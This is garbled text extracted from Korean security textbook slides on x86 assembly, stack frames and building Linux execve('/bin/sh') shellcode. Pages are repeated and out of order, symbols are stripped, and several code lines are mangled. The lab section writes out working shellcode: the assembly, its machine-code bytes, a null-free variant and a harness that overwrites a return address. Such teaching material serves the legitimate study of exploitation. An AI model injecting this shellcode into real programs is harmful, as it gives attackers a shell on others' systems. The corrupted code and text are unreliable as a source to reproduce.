셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 50: 80×86  시스템에 대한 이해

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

